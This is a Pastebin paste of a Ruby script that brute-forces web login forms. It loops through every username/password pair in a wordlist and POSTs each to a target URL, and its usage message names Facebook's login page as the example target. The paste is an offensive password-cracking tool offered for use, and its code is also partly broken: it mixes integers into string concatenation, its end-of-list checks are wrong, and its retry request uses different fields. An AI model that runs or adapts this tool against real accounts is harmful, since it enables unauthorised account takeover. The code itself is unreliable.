Advertisement
Guest User

Untitled

a guest
Apr 11th, 2019
233
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.66 KB | None | 0 0
  1. require 'net/http'
  2.  
  3.  
  4. def getNumberOfCombinations(file)
  5.  
  6. count = 0
  7.  
  8. filename = File.open(file, "r")
  9.  
  10. filename.each_line do |line|
  11. count += 1
  12. end
  13.  
  14. return count * count
  15.  
  16.  
  17. end
  18.  
  19.  
  20. def checkFileExistance(filename)
  21. if File.exist?filename
  22. return true
  23. end
  24. puts("Your file must exist!")
  25. return false
  26. end
  27.  
  28. def checkUsage(post_request)
  29.  
  30. if ARGV.length != 3 or !post_request.include?":"
  31. print("Usage: ruby frsDic <wordlist> <url> <postrequest>\nExample: ruby frsDic words.txt www.facebook.com/login.php <'postparameter&postparemeter:Case of failure message'>")
  32. return false
  33. end
  34.  
  35. return true
  36.  
  37. end
  38.  
  39. def crackRemotePassword()
  40.  
  41. postrequest = ARGV[2]
  42. filename = ARGV[0]
  43.  
  44. if !checkUsage(postrequest)
  45. return false
  46. end
  47.  
  48. if !checkFileExistance(filename)
  49. return false
  50. end
  51.  
  52. postArray = Array.new
  53. uri = URI(ARGV[1])
  54. file = IO.readlines(filename)
  55. delimiters = ["&", ":"]
  56. currentComb = 0
  57.  
  58. postArray = postrequest.split(Regexp.union(delimiters))
  59.  
  60. x = 0
  61. y = 0
  62.  
  63. numberOfCombinations = getNumberOfCombinations(filename)
  64. puts("Cracking with: " + numberOfCombinations.to_s + " possible combinations")
  65.  
  66. postThread = Thread.new do
  67.  
  68. loop do
  69.  
  70. username = file[y].delete("\n")
  71. password = file[x].delete("\n")
  72.  
  73. if postArray.length == 4
  74.  
  75. begin
  76. response = Net::HTTP.post_form(uri, {postArray[0] => username, postArray[1] => password, postArray[2] => "submit"})
  77. if response.body.include?postArray[3]
  78. print("[*]ATTEMPT number: " + currentComb + "out of: " + numberOfCombinations + " " + username + " " + password + " FAILED")
  79. else
  80. print("[*]ATTEMPT number: " + currentComb + "out of: " + numberOfCombinations + " " + username + " " + password + " SUCCEEDED!")
  81. break
  82. end
  83.  
  84. y += 1
  85. currentComb += 1
  86.  
  87. if file[y] == file[file.length]
  88. y = 0
  89. x += 1
  90. end
  91. if file[x] == file[file.length]
  92. print("Coulnd't crack account...\n")
  93. break
  94. end
  95.  
  96. rescue
  97. unless response.kind_of?Net::HTTPSuccess do
  98. print("Lost connection. Re-establishing connection")
  99. response = Net::HTTP.post_form(uri, {postArray[0] => username, postArray[1] => password, postArray[3] => "submit"})
  100. end
  101. end
  102. end
  103. end
  104. end
  105. end
  106. postThread.join
  107. end
  108.  
  109.  
  110.  
  111.  
  112. crackRemotePassword()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement